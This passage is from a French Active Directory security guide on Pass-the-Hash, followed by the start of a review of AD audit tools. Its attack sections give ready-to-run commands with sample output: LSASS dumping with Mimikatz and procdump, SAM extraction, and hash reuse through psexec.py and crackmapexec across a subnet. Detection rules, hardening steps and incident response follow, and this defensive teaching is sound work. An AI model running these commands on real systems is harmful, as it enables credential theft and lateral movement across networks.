Avant de pouvoir extraire des hash NTLM depuis LSASS, l'attaquant doit d'abord obtenir un accès initial sur la machine cible, puis élever ses privilèges au niveau **SYSTEM** ou **Administrateur local**.

Vecteurs d'accès initial communs :

- **Phishing** : Email malveillant avec macro Office ou exécutable
- **Exploitation de vulnérabilités** : RCE sur services exposés (SMB, RDP, Exchange, etc.)
- **Credentials par défaut** : Mots de passe faibles ou non changés
- **Supply chain compromise** : Logiciels tiers compromis

Techniques d'élévation de privilèges locales :

- **UAC Bypass** : Contournement du User Account Control
- **Token Impersonation** : Abus de privilèges SeImpersonate (PrintSpoofer, JuicyPotato)
- **Exploitation kernel** : CVEs Windows non patchées
- **Services mal configurés** : Services modifiables par utilisateur standard

### Phase 2 : Extraction des Hash NTLM

Une fois les privilèges élevés obtenus, l'attaquant peut extraire les credentials stockés en mémoire.

#### Méthode 1 : Mimikatz (sekurlsa::logonpasswords)

**Mimikatz** est l'outil de référence pour l'extraction de credentials Windows. La commande `sekurlsa::logonpasswords` extrait tous les credentials en mémoire :

```
# Élever les privilèges debug
mimikatz # privilege::debug
Privilege '20' OK

# Extraire tous les logon passwords
mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 1234567 (00000000:0012d687)
Session           : Interactive from 2
User Name         : admin_local
Domain            : WORKSTATION01
Logon Server      : WORKSTATION01
Logon Time        : 16/10/2025 09:15:32
SID               : S-1-5-21-...
    msv :
     [00000003] Primary
     * Username : admin_local
     * Domain   : WORKSTATION01
     * NTLM     : a4f49c406510bdcab6824ee7c30fd852
     * SHA1     : 8846f7eaee8fb117ad06bdd830b7586c
    tspkg :
    wdigest :
     * Username : admin_local
     * Domain   : WORKSTATION01
     * Password : (null)
    kerberos :
     * Username : admin_local
     * Domain   : WORKSTATION01
     * Password : (null)

[...]
```

Dans cet exemple, le hash NTLM `a4f49c406510bdcab6824ee7c30fd852` est extrait et peut être réutilisé immédiatement.

### Méthode 2 : Procdump + Mimikatz (technique EDR evasion)

Pour contourner les EDR qui détectent Mimikatz, les attaquants utilisent **Procdump** (outil légitime Microsoft Sysinternals) pour dumper LSASS, puis analysent le dump hors ligne :

```
# Sur la machine cible (avec Procdump)
procdump.exe -accepteula -ma lsass.exe lsass.dmp

# Transférer lsass.dmp sur machine attaquant
# Analyse hors ligne avec Mimikatz
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords
```

### Méthode 3 : Extraction depuis SAM (Local Accounts)

Pour les comptes locaux, les hash peuvent être extraits directement depuis la base de données **SAM** :

```
# Dump SAM et SYSTEM registry hives
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive

# Extraction avec secretsdump.py (Impacket)
secretsdump.py -sam sam.hive -system system.hive LOCAL

[*] Target system bootKey: 0x...
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a4f49c406510bdcab6824ee7c30fd852:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
admin_local:1001:aad3b435b51404eeaad3b435b51404ee:a4f49c406510bdcab6824ee7c30fd852:::
```

### Méthode 4 : Extraction depuis NTDS.dit (Domain Accounts)

Si l'attaquant compromet un contrôleur de domaine, il peut extraire **tous les hash du domaine** depuis NTDS.dit (voir notre article sur DCSync).

## Phase 3 : Exécution du Pass-the-Hash

Avec le hash NTLM en main, l'attaquant peut maintenant l'utiliser pour s'authentifier sur d'autres systèmes.

### Technique 1 : Mimikatz Pass-the-Hash

Mimikatz peut injecter le hash dans une nouvelle session pour permettre l'authentification NTLM :

```
mimikatz # sekurlsa::pth /user:admin_local /domain:WORKSTATION01 /
ntlm:a4f49c406510bdcab6824ee7c30fd852 /run:cmd.exe

user    : admin_local
domain  : WORKSTATION01
program : cmd.exe
impers. : no
NTLM    : a4f49c406510bdcab6824ee7c30fd852
  |  PID  4567
  |  TID  8901
  |  LSA Process is now R/W
  |  LUID 0 ; 9876543 (00000000:0096e50f)
  \_ msv1_0   - data copy @ 00000000029A0000 : OK !
```

Une nouvelle fenêtre `cmd.exe` s'ouvre avec le hash injecté. Toutes les authentifications NTLM depuis cette fenêtre utiliseront le hash sans demander de mot de passe :

```
# Accès au partage C$ du serveur cible
C:\> dir \\server01.contoso.com\c$

# Exécution de commande distante avec PsExec
C:\> psexec.exe \\server01.contoso.com cmd.exe
```

### Technique 2 : Impacket (psexec.py, wmiexec.py, smbexec.py)

La suite **Impacket** (Python) est extrêmement populaire pour Pass-the-Hash, notamment dans les environnements Linux/macOS :

```
# PsExec-like avec hash NTLM
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:a4f49c406510bdcab6824ee7c30fd852
admin_local@192.168.1.50

Impacket v0.11.0 - Copyright 2023 Fortra

[*] Requesting shares on 192.168.1.50.....
[*] Found writable share ADMIN$
[*] Uploading file vJHxKLmD.exe
[*] Opening SVCManager on 192.168.1.50.....
[*] Creating service XNBR on 192.168.1.50.....
[*] Starting service XNBR.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19045.3570]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>
```

Variantes Impacket pour différents protocoles :

- `smbexec.py` : Exécution via SMB, plus furtif (pas de service créé, utilise batch files)
- `wmiexec.py` : Exécution via WMI, très furtif (pas de fichiers sur disque)
- `atexec.py` : Exécution via Task Scheduler
- `dcomexec.py` : Exécution via DCOM

### Technique 3 : CrackMapExec / NetExec

**CrackMapExec** (maintenant NetExec) est un outil de post-exploitation qui excelle dans le mouvement latéral massif :

```
# Scanner un subnet entier avec Pass-the-Hash
crackmapexec smb 192.168.1.0/24 -u admin_local -H a4f49c406510bdcab6824ee7c30fd852

SMB         192.168.1.10    445    SERVER01    [*] Windows 10.0 Build 19041 x64
(name:SERVER01) (domain:CONTOSO) (signing:False) (SMBv1:False)
SMB         192.168.1.10    445    SERVER01    [+] CONTOSO\admin_local
a4f49c406510bdcab6824ee7c30fd852 (Pwn3d!)
SMB         192.168.1.15    445    SERVER02    [*] Windows Server 2019 Build 17763 x64
(name:SERVER02) (domain:CONTOSO) (signing:False) (SMBv1:False)
SMB         192.168.1.15    445    SERVER02    [+] CONTOSO\admin_local
a4f49c406510bdcab6824ee7c30fd852 (Pwn3d!)

# Exécution de commande sur toutes les machines compromises
crackmapexec smb 192.168.1.0/24 -u admin_local -H a4f49c406510bdcab6824ee7c30fd852 -x
"whoami"
```

Le marqueur **(Pwn3d!)** indique que le compte possède des privilèges d'administration locale sur la machine cible.

#### Phase 4 : Mouvement Latéral et Escalade

L'objectif final est d'atteindre des systèmes de haute valeur (contrôleurs de domaine, serveurs de fichiers, bases de données) et d'obtenir des comptes Domain Admin.

Stratégie typique de mouvement latéral :

1. **Compromission workstation utilisateur** → Extraction hash admin local
2. **PtH vers autres workstations** → Recherche de sessions admin privilégié en mémoire
3. **Extraction hash Domain Admin** → Depuis une machine où un DA est connecté
4. **PtH vers Domain Controller** → Accès complet au domaine
5. **Extraction KRBTGT hash** → Golden Ticket pour persistance ultime

##### Le problème du "Local Admin Password Reuse"

Une vulnérabilité extrêmement courante est la **réutilisation du même mot de passe d'administrateur local** sur toutes les machines du parc (souvent configuré via GPO ou images de déploiement). Si un attaquant obtient le hash du compte "Administrateur" local d'une machine, il peut se connecter à **toutes les machines** utilisant le même password. C'est pour cela que **LAPS** (Local Administrator Password Solution) est critique.

## Méthodes de Détection du Pass-the-Hash

La détection de Pass-the-Hash repose sur l'identification de comportements anormaux dans les authentifications NTLM et l'analyse des accès mémoire suspects sur LSASS.

### Détection des Dumps LSASS (Phase d'Extraction)

Le dump de LSASS est une activité hautement suspecte qui peut être détectée par plusieurs mécanismes.

#### Event ID Windows

Événements clés à monitorer :

| Event ID | Source | Description | Indicateur |
|---|---|---|---|
| **10** | Sysmon | ProcessAccess | TargetImage=lsass.exe, GrantedAccess=0x1010 ou 0x1410 |
| **4656** | Security | Handle to Object Requested | ObjectName=\Device\HarddiskVolume?\Windows\System32\lsass.exe |
| **4663** | Security | Object Access Attempt | ObjectName contient lsass.exe avec accès Process Memory |
| **1** | Sysmon | Process Creation | CommandLine contient "procdump", "lsass", "comsvcs.dll MiniDump" |

#### Détection EDR

Les solutions EDR modernes détectent les dumps LSASS via :

- **Behavioral analysis** : Détection de patterns d'accès mémoire suspects (lectures massives de LSASS)
- **API hooking** : Interception des appels OpenProcess, ReadProcessMemory sur LSASS
- **Kernel callbacks** : Monitoring des handles vers LSASS au niveau kernel
- **Signature detection** : Détection de Mimikatz, Procdump, et outils similaires

Solutions EDR efficaces contre Pass-the-Hash :

- **CrowdStrike Falcon** : Indicateur de Comportement (IOB) "LSASS Memory Access"
- **Microsoft Defender for Endpoint** : Alerte "Credential Dumping" (MITRE T1003)
- **SentinelOne** : Détection comportementale "Suspected Credential Access"
- **Carbon Black** : Règle watchlist "LSASS Access"

### Détection des Authentifications NTLM Anormales

Le Pass-the-Hash génère des patterns d'authentification NTLM suspects détectables via l'analyse de logs.

### Event ID 4624 - Logon réussi

Analyser les Event ID 4624 avec attention aux champs suivants :

```
Event ID: 4624
Logon Type: 3 (Network)
Authentication Package: NTLM
Logon Process: NtLmSsp
Workstation Name: ATTACKER-PC  ←  Nom inhabituel
Source Network Address: 192.168.1.99  ←  IP suspecte
Account Name: admin_local  ←  Compte privilégié
```

Indicateurs suspects :

- **Logon Type 3** (Network) depuis une machine inhabituelle pour ce compte
- **Authentication Package NTLM** alors que Kerberos devrait être utilisé (authentification intra-domaine)
- **Compte privilégié** se connectant depuis un workstation non-admin
- **Horaires anormaux** (3h du matin pour un compte IT, par exemple)
- **Source géographique inhabituelle** (si corrélation IP/géolocalisation disponible)

### Event ID 4625 - Logon échoué

Les tentatives de PtH échouées (mauvais hash, compte inexistant sur cible) génèrent des 4625 :

```
Event ID: 4625
Failure Reason: Unknown user name or bad password
Logon Type: 3
Authentication Package: NTLM
Failure Information:
    Sub Status: 0xC000006D  ← "logon failure: unknown user name or bad password"
```

Un burst de 4625 depuis la même source vers plusieurs cibles peut indiquer un scan PtH automatisé (CrackMapExec).

### Règles SIEM pour Détection Pass-the-Hash

Exemples de règles de corrélation SIEM (Splunk, Sentinel, QRadar, etc.) :

```
# Règle 1: LSASS Access depuis processus suspect
source="Sysmon" EventCode=10 TargetImage="*lsass.exe"
| where NOT SourceImage IN ("C:\\Windows\\System32\\wininit.exe", "C:\\Windows\\System32\
\svchost.exe")
| stats count by SourceImage, Computer
| where count > 1

# Règle 2: Authentification NTLM privilégiée depuis workstation
source="WinEventLog:Security" EventCode=4624 LogonType=3 AuthenticationPackageName="NTLM"
| lookup privileged_accounts AccountName as Account_Name OUTPUT is_privileged
| where is_privileged=1
| lookup workstations Computer as WorkstationName OUTPUT is_workstation
| where is_workstation=1
| stats count by Account_Name, WorkstationName, IpAddress

# Règle 3: Spike d'authentifications NTLM (scanning PtH)
source="WinEventLog:Security" EventCode=4624 OR EventCode=4625
AuthenticationPackageName="NTLM"
| bin _time span=5m
| stats count by _time, IpAddress
| where count > 20

# Règle 4: Admin local se connectant à multiples machines rapidement
source="WinEventLog:Security" EventCode=4624 LogonType=3
| where Account_Name="Administrator" OR Account_Name="admin_local"
| bin _time span=10m
| stats dc(Computer) as unique_targets by _time, Account_Name, IpAddress
| where unique_targets > 5
```

### Solutions Spécialisées de Détection

#### Microsoft Defender for Identity (anciennement Azure ATP)

Defender for Identity détecte Pass-the-Hash via :

- **Alerte "Suspected identity theft (Pass-the-Hash)"** : Basée sur l'analyse des authentifications NTLM anormales
- **Détection de mouvement latéral** : Connexions privilégiées depuis machines non-admin
- **Profiling comportemental** : Apprentissage des patterns normaux par utilisateur/machine

#### Honeypots et Comptes Leurres

Stratégie proactive : créer des comptes "honey" avec des mots de passe faibles, et monitorer toute utilisation :

```
# Créer un compte honeypot
New-ADUser -Name "admin_backup" -AccountPassword (ConvertTo-SecureString
"HoneyPassword123!" -AsPlainText -Force) -Enabled $true -Description "HONEYPOT - DO NOT
USE"

# Ajouter à un groupe privilégié (pour attirer attaquants)
Add-ADGroupMember -Identity "Backup Operators" -Members "admin_backup"

# Configurer alerte sur toute utilisation
# Via SIEM: Alert on ANY Event 4624 with Account_Name="admin_backup"
```

Toute authentification de ce compte est une indication certaine de compromission.

## Contremesures et Prévention

La défense contre Pass-the-Hash nécessite une approche en profondeur combinant durcissement des endpoints, segmentation réseau, et restrictions d'authentification.

### 1. LAPS (Local Administrator Password Solution)

**LAPS** est la contremesure la plus critique contre Pass-the-Hash. Cette solution Microsoft gratuite randomise automatiquement les mots de passe des comptes administrateurs locaux sur chaque machine du parc.

#### Fonctionnement de LAPS

- Génération automatique de mots de passe aléatoires complexes (14+ caractères)
- Stockage sécurisé dans Active Directory (attribut confidentiel de l'objet ordinateur)
- Rotation automatique selon calendrier configurable (ex: tous les 30 jours)
- Accès contrôlé par ACL (seuls les admins autorisés peuvent lire les passwords)
- Historique et audit des consultations

### Déploiement de LAPS

```
# 1. Étendre le schéma AD
Import-Module AdmPwd.PS
Update-AdmPwdADSchema

# 2. Définir les permissions (qui peut lire les passwords)
Set-AdmPwdComputerSelfPermission -OrgUnit "OU=Workstations,DC=contoso,DC=com"
Set-AdmPwdReadPasswordPermission -OrgUnit "OU=Workstations,DC=contoso,DC=com"
-AllowedPrincipals "CONTOSO\IT-Admins"

# 3. Déployer la GPO LAPS
# Computer Configuration > Policies > Administrative Templates > LAPS
# Enable local admin password management: Enabled
# Password Settings: 14 characters, 30 days expiration

# 4. Installer LAPS client sur endpoints (via GPO ou SCCM)
msiexec /i LAPS.x64.msi /quiet

# 5. Consultation du password (admins autorisés uniquement)
Get-AdmPwdPassword -ComputerName WORKSTATION01
```

**Impact** : Avec LAPS déployé, même si un attaquant extrait le hash admin local d'une machine, ce hash ne fonctionnera sur **aucune autre machine**, cassant la chaîne de mouvement latéral.

## 2. Windows Credential Guard

**Credential Guard** utilise la sécurité basée sur virtualisation (VBS) pour isoler les secrets LSASS dans une enclave protégée, inaccessible même avec des privilèges SYSTEM.

### Activation de Credential Guard

```
# Via GPO
Computer Configuration > Administrative Templates > System > Device Guard
"Turn On Virtualization Based Security" = Enabled
  Platform Security Level: Secure Boot and DMA Protection
  Credential Guard Configuration: Enabled with UEFI lock

# Via Registry (alternative)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v
"EnableVirtualizationBasedSecurity" /t REG_DWORD /d 1 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "LsaCfgFlags" /t REG_DWORD /d 1 /f

# Vérification du status
msinfo32  # Chercher "Credential Guard" dans "Virtualization-based security Services
Running"
```

**Prérequis** : UEFI firmware, Secure Boot activé, TPM 2.0, CPU supportant la virtualisation (VT-x/AMD-V), Windows 10 Enterprise/11 ou Server 2016+.

**Limitation** : Credential Guard protège principalement contre l'extraction de hash NTLM et tickets Kerberos depuis LSASS. Il ne protège pas contre toutes les formes de credential theft (ex: keyloggers, phishing).

### 3. Désactivation de NTLM (Enforcement de Kerberos)

La solution la plus radicale est de **désactiver complètement NTLM** et forcer l'utilisation exclusive de Kerberos.

#### Approche progressive de désactivation NTLM

1. **Phase 1 - Audit** : Activer l'audit NTLM pour identifier qui utilise NTLM

```
# GPO: Computer Configuration > Windows Settings > Security Settings > Local Policies
> Security Options
"Network security: Restrict NTLM: Audit NTLM authentication in this domain" = Enable
all
"Network security: Restrict NTLM: Audit Incoming NTLM Traffic" = Enable auditing for
all accounts

# Analyser les Event ID 8004 (NTLM audit events) pendant 30-60 jours
# Identifier les systèmes/applications utilisant NTLM
```

2. **Phase 2 - Correction** : Migrer les systèmes/apps identifiés vers Kerberos
3. **Phase 3 - Blocage progressif** : Bloquer NTLM par OU

```
# GPO par OU (commencer par OU de test)
"Network security: Restrict NTLM: NTLM authentication in this domain" = Deny all
"Network security: Restrict NTLM: Incoming NTLM traffic" = Deny all accounts
```

4. **Phase 4 - Blocage domaine entier** : Appliquer au domaine complet après validation

#### Attention : Impact potentiel de la désactivation NTLM

La désactivation de NTLM peut casser :

- L'authentification par adresse IP (Kerberos nécessite DNS/FQDN)
- Les anciennes applications ne supportant pas Kerberos
- Les systèmes non-joints au domaine (workgroups)
- Certaines authentifications SQL Server, IIS, Exchange (à vérifier)

Une phase d'audit prolongée (60-90 jours) est **impérative** avant tout blocage.

### 4. Protected Users Security Group

Le groupe **Protected Users** (introduit dans Windows Server 2012 R2) applique automatiquement des protections renforcées aux comptes membres :

- **Pas de cache NTLM** : Les hash NTLM ne sont pas stockés en mémoire
- **Pas de Kerberos DES/RC4** : Force AES uniquement
- **Pas de delegation** : Empêche la délégation Kerberos non-contrainte
- **Pas de pre-authentication CredSSP** : Bloque WDigest et CredSSP
- **TGT lifetime réduit** : Maximum 4 heures (non-renouvelable)

```
# Ajouter les comptes privilégiés au groupe Protected Users
Add-ADGroupMember -Identity "Protected Users" -Members "Domain Admins"
Add-ADGroupMember -Identity "Protected Users" -Members "admin_tier0"

# Vérification
Get-ADGroupMember "Protected Users"
```

**Important** : Tester avant d'ajouter des comptes de production, car certaines applications/services peuvent être incompatibles.

### 5. SMB Signing (Signature SMB)

Activer **SMB signing** empêche les attaques de type SMB relay (souvent utilisées en combinaison avec PtH).

```
# Via GPO
Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies
> Security Options

"Microsoft network client: Digitally sign communications (always)" = Enabled
"Microsoft network server: Digitally sign communications (always)" = Enabled
```

**Impact performance** : Léger (< 5% CPU overhead), largement compensé par le gain sécurité.

### 6. Restricted Admin Mode pour RDP

**Restricted Admin mode** empêche l'envoi de credentials lors de connexions RDP, réduisant le risque de vol de credentials sur le serveur cible.

```
# Activer Restricted Admin sur serveurs RDP
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "DisableRestrictedAdmin" /t
REG_DWORD /d 0 /f

# Connexion RDP en mode Restricted Admin (depuis client)
mstsc.exe /restrictedAdmin
```

**Limitation** : L'utilisateur n'aura accès qu'aux ressources accessibles via Kerberos depuis le serveur RDP, pas via credentials délégués.

### 7. Remote Credential Guard

Pour RDP, une alternative plus robuste est **Remote Credential Guard**, qui maintient les credentials sur le client et ne les envoie jamais au serveur :

```
# Activer Remote Credential Guard via GPO
Computer Configuration > Administrative Templates > System > Credentials Delegation
"Restrict delegation of credentials to remote servers" = Enabled
  Use the following restricted mode: Require Remote Credential Guard
```

#### Checklist de Prévention Pass-the-Hash

- LAPS déployé sur tous les endpoints et serveurs
- Credential Guard activé sur toutes les machines compatibles
- Comptes privilégiés dans le groupe "Protected Users"
- SMB Signing forcé sur tous les systèmes
- Audit NTLM activé (en vue de désactivation progressive)
- Restricted Admin ou Remote Credential Guard pour RDP
- Tiered Administration implémenté (comptes Tier 0 ne se connectent pas sur Tier 1/2)
- EDR déployé avec détection LSASS access
- Sysmon configuré (Event 10 monitoring)
- SIEM avec règles de détection PtH
- Pas de comptes admin en mémoire sur workstations utilisateur
- Honeypots comptes privilégiés déployés

## Remédiation après Compromission Pass-the-Hash

Si vous détectez ou suspectez une attaque Pass-the-Hash active dans votre environnement, une réponse rapide et structurée est critique.

### Phase 1 : Containment (Confinement)

**Objectif** : Stopper immédiatement la propagation de l'attaque.

1. **Isoler les machines sources identifiées**

```
# Désactiver interface réseau via GPO (déploiement immédiat)
# OU: Isolation réseau au niveau switch/firewall (VLAN quarantaine)
```

2. **Bloquer les comptes compromis**

```
# Désactiver le compte utilisé pour PtH
Disable-ADAccount -Identity "admin_local"

# Forcer déconnexion de toutes sessions actives
quser /server:SERVER01  # Identifier session ID
logoff  /server:SERVER01
```

3. **Augmenter le niveau de logging**

```
# Activer audit détaillé sur DCs et systèmes critiques
auditpol /set /category:"Logon/Logoff" /success:enable /failure:enable
auditpol /set /category:"Account Logon" /success:enable /failure:enable
```

4. **Bloquer IP source au firewall** : Si l'IP attaquant est identifiée

### Phase 2 : Eradication

**Objectif** : Éliminer la capacité de l'attaquant à maintenir l'accès.

1. **Réinitialisation des mots de passe des comptes compromis**

```
# Tous les comptes locaux admin sur machines compromises
# Si LAPS déjà déployé:
Reset-AdmPwdPassword -ComputerName WORKSTATION01

# Si LAPS non déployé (urgence):
net user Administrator "NewComplexP@ssw0rd!" /domain

# Comptes domaine compromis:
Set-ADAccountPassword -Identity "admin_local" -Reset -NewPassword (ConvertTo-
SecureString "NewP@ssw0rd" -AsPlainText -Force)
Set-ADUser -Identity "admin_local" -ChangePasswordAtLogon $true
```

2. **Rotation KRBTGT (si suspicion d'accès Domain Admin)**

```
# Double rotation KRBTGT (10h d'intervalle)
New-KrbtgtKeys.ps1 -BypassDCValidation
# Attendre 10 heures
New-KrbtgtKeys.ps1 -BypassDCValidation
```

Voir notre article Golden Ticket pour la procédure détaillée.

3. **Réimagerie des endpoints compromis**

```
# Ne PAS simplement "nettoyer" - Réimager depuis baseline propre
# Vérifier absence de persistence (scheduled tasks, services, registry run keys)
# Analyse antivirus/EDR complète avant réintégration réseau
```

4. **Audit et suppression des backdoors**
   - Scheduled Tasks malveillantes
   - Services créés par attaquant
   - Comptes cachés (RID 1000-1100)
   - Modifications GPO
   - DLLs malveillantes, Skeleton Key (voir Skeleton Key)

### Phase 3 : Recovery (Récupération)

1. **Déploiement accéléré de LAPS** : Si non déjà fait, c'est le moment
2. **Activation Credential Guard** : Sur toutes machines compatibles
3. **Revue des privilèges**

```
# Audit des membres des groupes privilégiés
Get-ADGroupMember "Domain Admins" | Select Name, SamAccountName
Get-ADGroupMember "Enterprise Admins" | Select Name, SamAccountName

# Suppression des comptes inutiles
Remove-ADGroupMember "Domain Admins" -Members "old_admin" -Confirm:$false
```

4. **Reconnexion progressive des systèmes** : Après validation intégrité
5. **Surveillance renforcée 90 jours** : Monitoring accru pour détecter toute persistance résiduelle

### Phase 4 : Post-Mortem et Amélioration Continue

- **Timeline de l'incident** : Reconstituer la séquence complète de l'attaque
- **Root cause analysis** : Comment l'attaquant a-t-il obtenu l'accès initial ?

- **Gaps identifiés** : Pourquoi PtH n'a pas été détecté plus tôt ?
- **Plan d'action correctif** : Implémentation des contremesures manquantes
- **Mise à jour du playbook IR** : Documenter les leçons apprises

Pour une assistance experte en réponse à incident Pass-the-Hash, consultez notre service de réponse à incident 24/7.

## Conclusion

L'attaque **Pass-the-Hash**, malgré son âge respectable (plus de 20 ans dans le contexte Windows), demeure l'une des techniques de mouvement latéral les plus efficaces et les plus utilisées en 2025. Sa simplicité d'exécution, la disponibilité d'outils automatisés, et la prévalence du protocole NTLM dans les environnements legacy en font une menace persistante.

Cependant, des défenses robustes existent et ont fait leurs preuves :

- **LAPS** casse la chaîne de mouvement latéral en randomisant les passwords locaux
- **Credential Guard** protège la mémoire LSASS contre le dumping
- **Protected Users** empêche le cache de hash NTLM pour les comptes critiques
- **Désactivation progressive de NTLM** élimine le vecteur d'attaque à la source
- **EDR et SIEM** détectent les comportements suspects (dumps LSASS, authentifications anormales)

La clé du succès réside dans une **approche en profondeur (Defense in Depth)** combinant prévention technique, segmentation réseau (Tiered Administration), monitoring avancé, et formation des équipes.

### Prochaines Étapes Recommandées

1. **Audit de votre posture actuelle** : Évaluez votre vulnérabilité PtH avec un Purple Team assessment
2. **Déploiement LAPS prioritaire** : Si non fait, c'est LA priorité absolue
3. **Activation Credential Guard** : Sur toutes machines Windows 10/11 Enterprise
4. **Plan de migration NTLM → Kerberos** : Commencer l'audit NTLM usage dès aujourd'hui
5. **Implémentation monitoring** : Sysmon Event 10, règles SIEM PtH, EDR tuning

### Articles Connexes

Pour approfondir vos connaissances sur les attaques Active Directory et les stratégies de défense :

- Pass-the-Ticket : Réutilisation de Tickets Kerberos
- Skeleton Key : Backdoor Malveillante dans Active Directory
- Golden Ticket : Persistance Ultime via KRBTGT
- DCSync : Exfiltration des Secrets AD
- Top 10 des Attaques Active Directory en 2025
- Guide Complet de Sécurisation Active Directory 2025

Article suivant : Pass-the-Ticket →

Fiche 4.15

# Pass-the-Ticket : Attaque et Défense Active Directory

## Table des matières

Fiche 4.16

# Pluggable Authentication / Password Filter DLL Abuse

## Table des matières

Fiche 4.17

# Abus de Resource-Based Constrained Delegation (RBCD)

## Table des matières

Fiche 4.18

# SIDHistory Injection / Abuse : Attaque et Défense Active Directory

## Table des matières

Fiche 4.19

# Silver Ticket : Attaque et Défense Active Directory

## Table des matières

Fiche 4.20

# Skeleton Key : Attaque et Défense Active Directory

## Table des matières

PARTIE IV

# Outils d'Audit

CHAPITRE 5

# Top 5 des Outils d'Audit Active Directory

Article Technique Expert

*Publié le 28 septembre 2025 | Temps de lecture : 30 minutes | Par Ayi NEDJIMI Consultants*

L'audit de sécurité Active Directory est une discipline technique qui nécessite une expertise pointue et des outils spécialisés. Dans cet article, nous analysons en profondeur les **5 outils d'audit AD les plus puissants** utilisés par les experts en sécurité offensive : **PingCastle**, **Purple Knight**, **BloodHound**, **Adalanche** et **ADRecon**. Chaque outil est décortiqué avec ses fonctionnalités avancées, ses cas d'usage, ses forces et ses limites.

## Sommaire



## #1PingCastle : L'Audit Automatisé de Référence

**PingCastle** est sans conteste l'outil d'audit Active Directory le plus reconnu et utilisé par les professionnels de la sécurité. Développé par Vincent Le Toux (@mysmartlogon), cet outil open-source offre une analyse complète de la posture de sécurité AD avec un système de scoring basé sur les risques.

### 1. Architecture et Fonctionnement Technique

PingCastle fonctionne entièrement en **lecture seule** via des requêtes LDAP et des appels RPC. Il ne nécessite pas de privilèges d'administrateur de domaine pour son exécution, un compte utilisateur authentifié suffit pour la plupart des analyses.

#### Modes d'Exécution

- **Mode Healthcheck (--healthcheck)** : Analyse complète de la sécurité du domaine avec génération d'un rapport HTML détaillé
- **Mode Scanner (--scanner)** : Scan réseau pour identifier les contrôleurs de domaine et analyser les configurations
- **Mode Export (--export)** : Export des données AD dans différents formats pour analyse externe
- **Mode Advanced (--advanced-live)** : Collecte de données avancées en temps réel

### 2. Analyse du Score de Risque PingCastle

Le cœur de PingCastle est son système de **scoring basé sur un modèle de maturité** allant de 0 à 100+. Le score se décompose en 4 grandes catégories :

| Catégorie | Description | Poids |
|---|---|---|
| **Stale Objects** | Comptes inactifs, obsolètes, mots de passe jamais changés | 25% |
| **Privileged Accounts** | Gestion des comptes à privilèges, délégations, admin count | 30% |
| **Trusts** | Relations de confiance inter-domaines/forêts | 20% |
| **Anomalies** | Configurations dangereuses, GPOs faibles, protocoles obsolètes | 25% |

### 3. Détection des Vulnérabilités Critiques

#### 1. Détection Zerologon (CVE-2020-1472)

PingCastle vérifie si les DC sont vulnérables à Zerologon en analysant les patches installés et les logs d'événements.

#### 2. Comptes avec SPN et Mots de Passe Faibles

Identifie automatiquement les comptes de service Kerberoastables avec des attributs suspects (userAccountControl, pwdLastSet).

#### 3. Délégations Contraintes et Non Contraintes

Liste tous les comptes avec des délégations Kerberos, un vecteur d'escalade de privilèges majeur.

#### 4. Chemins d'ACLs Dangereux

Identifie les permissions GenericAll, WriteDACL, WriteOwner sur des objets critiques.

### 4. Utilisation Avancée en Pentest

```
PingCastle.exe --healthcheck --server dc.contoso.com --user pentester@contoso.com --
password P@ssw0rd

PingCastle.exe --scanner aclcheck --server dc.contoso.com

PingCastle.exe --advanced-live --explore-trust --explore-exception --explore-delegation
```

#### Points Forts

- **Rapidité d'exécution** : Audit complet d'un domaine en 2-5 minutes
- **Scoring standardisé** : Facilite la communication avec le management
- **Historisation** : Suivi de l'évolution du score dans le temps
- **Détections avancées** : CVE récentes, Shadow Admins, chemins d'attaque
- **Gratuit et open-source** : Version community très complète

#### Limites

- Ne visualise pas les **chemins d'attaque graphiques** comme BloodHound
- Analyse basée sur des **patterns prédéfinis**, peut manquer des configurations custom
- Interface en ligne de commande uniquement (pas de GUI)
- Requiert une **authentification** AD pour fonctionner

## #2Purple Knight : L'Outil de Semperis pour l'Évaluation AD

**Purple Knight** est l'outil gratuit développé par **Semperis**, société spécialisée dans la protection et la récupération d'Active Directory. Lancé en 2020, Purple Knight s'est rapidement imposé comme un concurrent sérieux de PingCastle grâce à son interface moderne et ses détections avancées.

### 5. Architecture et Positionnement

Purple Knight se positionne comme un **outil d'évaluation de la sécurité ET de la résilience** Active Directory. Contrairement à PingCastle qui se concentre sur les vulnérabilités de sécurité, Purple Knight évalue aussi la capacité de récupération après un incident (ransomware, compromission DC).

## 6. Fonctionnalités Clés

### 1. Détection des Indicateurs de Compromission (IOC)

Purple Knight intègre des signatures d'IOCs basées sur les recherches de Semperis et les dernières campagnes d'attaques :

- **DCShadow artifacts** : Détecte les traces de DCShadow (faux DC enregistrés)
- **AdminSDHolder tampering** : Modifications suspectes de l'objet AdminSDHolder
- **GPO malicieuses** : Analyse des GPOs pour détecter des scripts ou tâches planifiées malveillantes
- **Backdoors AD** : SID History injection, ACLs cachées, Golden Ticket artifacts

### 2. Évaluation de la Résilience

Purple Knight évalue la capacité de l'organisation à **récupérer après une attaque** :

- Qualité des sauvegardes AD (System State backups)
- Procédures de restauration documentées
- Isolation des DC critiques
- Monitoring et détection en place

### 3. Indicateurs de Sécurité MITRE ATT&CK

Chaque vulnérabilité détectée est mappée aux tactiques et techniques du **framework MITRE ATT&CK**, facilitant la priorisation basée sur les TTP des attaquants réels.

## 7. Système de Scoring Purple Knight

Le score Purple Knight va de 0 à 100% et évalue 3 dimensions :

| Dimension | Poids | Focus |
|---|---|---|
| **Security Posture** | 50% | Vulnérabilités de configuration classiques |
| **Exposure to Attack** | 30% | Chemins d'attaque actifs, comptes exposés |
| **Resilience** | 20% | Capacité de récupération post-incident |

## 8. Utilisation en Environnement de Production

Purple Knight propose deux modes d'exécution :

```
Purple Knight en mode GUI (interface graphique)
- Lance l'application
- Sélectionne le domaine cible
- Configure les options d'analyse
